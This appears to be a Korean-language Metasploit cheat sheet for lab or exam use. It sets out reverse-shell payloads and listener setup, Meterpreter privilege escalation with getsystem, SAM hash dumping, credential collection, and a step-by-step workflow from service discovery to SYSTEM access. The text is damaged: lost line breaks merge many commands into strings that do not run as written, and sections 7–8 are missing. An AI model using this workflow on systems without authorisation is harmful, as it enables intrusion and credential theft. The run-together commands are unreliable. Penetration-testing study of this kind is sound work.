msfconsole
├── Modules (기능 단위)
│ ├── exploit/ ← 취약점 공격
│ ├── payload/ ← 쉘 생성
│ ├── auxiliary/ ← 스캔, 브루트포스 등
│ ├── post/ ← 권한상승 후 작업
│ └── encoder/ ← 페이로드 인코딩
└── Sessions (연결된 쉘 관리)
2. 기본 명령어
# 검색search <키워드>search type:exploit platform:windows freeswitch# 모듈 선택use exploit/multi/misc/freeswitch_event_socket_cmd_execuse 0 # search 결과 번호로도 선택 가능# 현재 모듈 정보infooptions # 설정 필요한 값 목록# 옵션 설정set RHOSTS 192.168.1.1set LHOST 192.168.45.xxxset LPORT 4444set PAYLOAD windows/x64/meterpreter/reverse_tcp# 실행runexploit # 동일# 모듈 해제back
3. Payload 선택
# 현재 모듈에서 사용 가능한 페이로드 목록show payloads## Meterpreterset PAYLOAD windows/x64/meterpreter/reverse_tcpset PAYLOAD linux/x64/meterpreter/reverse_tcp## 일반 쉘set PAYLOAD windows/x64/shell/reverse_tcpset PAYLOAD cmd/unix/reverse_netcat
Staged vs Stageless
windows/x64/meterpreter/reverse_tcp ← Staged (/) : 작은 스터브 → 나중에 본체 다운로드
windows/x64/meterpreter_reverse_tcp ← Stageless (_) : 전체 페이로드 한번에
4. Sessions 관리
# 세션 목록sessionssessions -l# 세션 복귀sessions -i 1# 세션 백그라운드meterpreter > background # 또는 Ctrl+Z# 세션에서 직접 명령 실행 (복귀 없이)sessions -c "whoami" -i 1# 세션 종료sessions -k 1# 쉘 → Meterpreter 업그레이드sessions -u 1
5. Meterpreter 주요 명령어
# 시스템 정보getuid # 현재 유저sysinfo # OS 정보getpid # 현재 프로세스 ID# 파일 시스템lspwdcd C:\\Usersdownload proof.txt # 파일 다운로드upload shell.exe # 파일 업로드# 쉘 드롭shell # cmd.exe 진입 (Ctrl+Z로 다시 meterpreter로)# 네트워크ipconfigportfwd add -l 3389 -p 3389 -r 127.0.0.1 # 포트포워딩# 권한getsystem # SYSTEM 권한 자동 시도getprivs # 현재 권한 목록# 프로세스ps # 프로세스 목록migrate <PID> # 다른 프로세스로 이주 (안정성 향상)# 해시 덤프hashdump # SAM 해시 덤프 (SYSTEM 권한 필요)
6. Post Exploitation 모듈
# 권한상승 벡터 자동 탐색use post/multi/recon/local_exploit_suggesterset SESSION 1run# Windows 권한상승use post/windows/gather/win_privs# 해시 덤프use post/windows/gather/hashdump# 자격증명 수집use post/windows/gather/credentials/credential_collector
use exploit/multi/handlerset PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST <your_ip>set LPORT 4444set ExitOnSession false # 여러 세션 받을때 핸들러 유지run -j # 백그라운드로 실행
9. Metasploit 워크플로우
1. 서비스 발견 ↓2. search <취약점명> ↓3. use <모듈> → options 확인 → set 옵션들 ↓4. set PAYLOAD windows/x64/meterpreter/reverse_tcp ↓5. run → Meterpreter 획득 ↓6. getuid → 일반유저면: ↓7. local_exploit_suggester 실행 ↓8. getsystem 또는 권한상승 익스플로잇 ↓9. getuid → SYSTEM 확인 ↓10. hashdump / proof.txt 획득
10. 단축키
Ctrl + Z → 세션 백그라운드Ctrl + C → 현재 작업 중단Tab → 자동완성↑↓ → 명령어 히스토리